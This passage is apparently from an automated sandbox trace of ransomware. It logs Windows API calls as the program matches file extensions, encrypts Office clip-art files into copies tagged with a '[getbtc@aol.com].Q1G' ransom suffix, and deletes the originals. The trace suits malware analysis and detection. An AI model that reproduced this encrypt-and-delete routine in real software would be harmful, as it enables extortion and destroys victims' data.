-1 [0254.087] lstrlenW (lpString=".7z") returned 3 [0254.087] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0254.087] lstrlenW (lpString=".dbf") returned 4 [0254.087] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0254.087] lstrlenW (lpString=".1cd") returned 4 [0254.087] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0254.087] lstrlenW (lpString=".jpg") returned 4 [0254.087] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.088] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.088] lstrlenW (lpString="J0099151.WMF") returned 12 [0254.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0254.088] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=26086) returned 1 [0254.088] CloseHandle (hObject=0x390) returned 1 [0254.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf")) returned 0x20 [0254.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0254.089] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.089] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0254.089] GetLastError () returned 0x0 [0254.089] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x65e6, lpOverlapped=0x0) returned 1 [0254.093] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x65f0, lpOverlapped=0x0) returned 1 [0254.094] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.094] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.095] SetEndOfFile (hFile=0x1fc) returned 1 [0254.095] CloseHandle (hObject=0x1fc) returned 1 [0254.095] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.095] SetEndOfFile (hFile=0x390) returned 1 [0254.097] CloseHandle (hObject=0x390) returned 1 [0254.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.097] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0254.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0254.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0254.098] lstrlenW (lpString=".doc") returned 4 [0254.098] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.098] lstrlenW (lpString=".docx") returned 5 [0254.098] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0254.098] lstrlenW (lpString=".pdf") returned 4 [0254.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.098] lstrlenW (lpString=".xls") returned 4 [0254.098] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.098] lstrlenW (lpString=".xlsx") returned 5 [0254.098] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0254.098] lstrlenW (lpString=".ppt") returned 4 [0254.098] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0254.099] lstrlenW (lpString=".zip") returned 4 [0254.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.099] lstrlenW (lpString=".rar") returned 4 [0254.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.099] lstrlenW (lpString=".bz2") returned 4 [0254.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.099] lstrlenW (lpString=".7z") returned 3 [0254.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0254.099] lstrlenW (lpString=".dbf") returned 4 [0254.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0254.099] lstrlenW (lpString=".1cd") returned 4 [0254.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0254.099] lstrlenW (lpString=".jpg") returned 4 [0254.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0254.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0254.099] lstrlenW (lpString=".doc") returned 4 [0254.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.099] lstrlenW (lpString=".docx") returned 5 [0254.099] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0254.099] lstrlenW (lpString=".pdf") returned 4 [0254.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.099] lstrlenW (lpString=".xls") returned 4 [0254.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.099] lstrlenW (lpString=".xlsx") returned 5 [0254.099] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0254.099] lstrlenW (lpString=".ppt") returned 4 [0254.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0254.099] lstrlenW (lpString=".zip") returned 4 [0254.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.099] lstrlenW (lpString=".rar") returned 4 [0254.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.100] lstrlenW (lpString=".bz2") returned 4 [0254.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.100] lstrlenW (lpString=".7z") returned 3 [0254.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0254.100] lstrlenW (lpString=".dbf") returned 4 [0254.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0254.100] lstrlenW (lpString=".1cd") returned 4 [0254.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0254.100] lstrlenW (lpString=".jpg") returned 4 [0254.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.100] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0254.100] lstrlenW (lpString="J0099152.JPG") returned 12 [0254.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0254.101] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=11694) returned 1 [0254.101] CloseHandle (hObject=0x390) returned 1 [0254.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg")) returned 0x20 [0254.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0254.101] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.101] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0254.102] GetLastError () returned 0x0 [0254.102] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2dae, lpOverlapped=0x0) returned 1 [0254.106] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2db0, lpOverlapped=0x0) returned 1 [0254.107] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.107] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.107] SetEndOfFile (hFile=0x1fc) returned 1 [0254.108] CloseHandle (hObject=0x1fc) returned 1 [0254.108] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.108] SetEndOfFile (hFile=0x390) returned 1 [0254.110] CloseHandle (hObject=0x390) returned 1 [0254.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0254.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0254.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0254.111] lstrlenW (lpString=".doc") returned 4 [0254.111] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.111] lstrlenW (lpString=".docx") returned 5 [0254.111] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0254.111] lstrlenW (lpString=".pdf") returned 4 [0254.111] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.111] lstrlenW (lpString=".xls") returned 4 [0254.111] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.111] lstrlenW (lpString=".xlsx") returned 5 [0254.111] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0254.111] lstrlenW (lpString=".ppt") returned 4 [0254.111] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0254.111] lstrlenW (lpString=".zip") returned 4 [0254.111] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.111] lstrlenW (lpString=".rar") returned 4 [0254.111] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.111] lstrlenW (lpString=".bz2") returned 4 [0254.111] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.111] lstrlenW (lpString=".7z") returned 3 [0254.111] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0254.111] lstrlenW (lpString=".dbf") returned 4 [0254.111] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0254.111] lstrlenW (lpString=".1cd") returned 4 [0254.111] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0254.111] lstrlenW (lpString=".jpg") returned 4 [0254.111] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0254.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0254.112] lstrlenW (lpString=".doc") returned 4 [0254.112] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.112] lstrlenW (lpString=".docx") returned 5 [0254.112] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0254.112] lstrlenW (lpString=".pdf") returned 4 [0254.112] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.112] lstrlenW (lpString=".xls") returned 4 [0254.112] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.112] lstrlenW (lpString=".xlsx") returned 5 [0254.112] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0254.112] lstrlenW (lpString=".ppt") returned 4 [0254.112] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0254.112] lstrlenW (lpString=".zip") returned 4 [0254.112] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.112] lstrlenW (lpString=".rar") returned 4 [0254.112] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.112] lstrlenW (lpString=".bz2") returned 4 [0254.112] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.112] lstrlenW (lpString=".7z") returned 3 [0254.112] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0254.112] lstrlenW (lpString=".dbf") returned 4 [0254.112] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0254.112] lstrlenW (lpString=".1cd") returned 4 [0254.112] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0254.112] lstrlenW (lpString=".jpg") returned 4 [0254.112] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.112] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.113] lstrlenW (lpString="J0099153.WMF") returned 12 [0254.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0254.115] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=13874) returned 1 [0254.115] CloseHandle (hObject=0x3ac) returned 1 [0254.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf")) returned 0x20 [0254.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0254.115] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.115] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0254.117] GetLastError () returned 0x0 [0254.117] ReadFile (in: hFile=0x3ac, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x3632, lpOverlapped=0x0) returned 1 [0254.465] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x3640, lpOverlapped=0x0) returned 1 [0254.466] ReadFile (in: hFile=0x3ac, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.466] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.466] SetEndOfFile (hFile=0x390) returned 1 [0254.466] CloseHandle (hObject=0x390) returned 1 [0254.466] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.466] SetEndOfFile (hFile=0x3ac) returned 1 [0254.468] CloseHandle (hObject=0x3ac) returned 1 [0254.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf")) returned 1 [0254.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0254.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0254.477] lstrlenW (lpString=".doc") returned 4 [0254.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.477] lstrlenW (lpString=".docx") returned 5 [0254.477] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0254.477] lstrlenW (lpString=".pdf") returned 4 [0254.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.477] lstrlenW (lpString=".xls") returned 4 [0254.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.477] lstrlenW (lpString=".xlsx") returned 5 [0254.477] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0254.477] lstrlenW (lpString=".ppt") returned 4 [0254.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0254.478] lstrlenW (lpString=".zip") returned 4 [0254.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.478] lstrlenW (lpString=".rar") returned 4 [0254.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.478] lstrlenW (lpString=".bz2") returned 4 [0254.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.478] lstrlenW (lpString=".7z") returned 3 [0254.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0254.478] lstrlenW (lpString=".dbf") returned 4 [0254.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0254.478] lstrlenW (lpString=".1cd") returned 4 [0254.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0254.478] lstrlenW (lpString=".jpg") returned 4 [0254.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0254.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0254.478] lstrlenW (lpString=".doc") returned 4 [0254.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.478] lstrlenW (lpString=".docx") returned 5 [0254.478] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0254.478] lstrlenW (lpString=".pdf") returned 4 [0254.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.478] lstrlenW (lpString=".xls") returned 4 [0254.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.478] lstrlenW (lpString=".xlsx") returned 5 [0254.478] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0254.478] lstrlenW (lpString=".ppt") returned 4 [0254.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0254.478] lstrlenW (lpString=".zip") returned 4 [0254.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.478] lstrlenW (lpString=".rar") returned 4 [0254.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.479] lstrlenW (lpString=".bz2") returned 4 [0254.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.479] lstrlenW (lpString=".7z") returned 3 [0254.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0254.479] lstrlenW (lpString=".dbf") returned 4 [0254.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0254.479] lstrlenW (lpString=".1cd") returned 4 [0254.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0254.479] lstrlenW (lpString=".jpg") returned 4 [0254.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.479] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0254.479] lstrlenW (lpString="J0099165.JPG") returned 12 [0254.479] 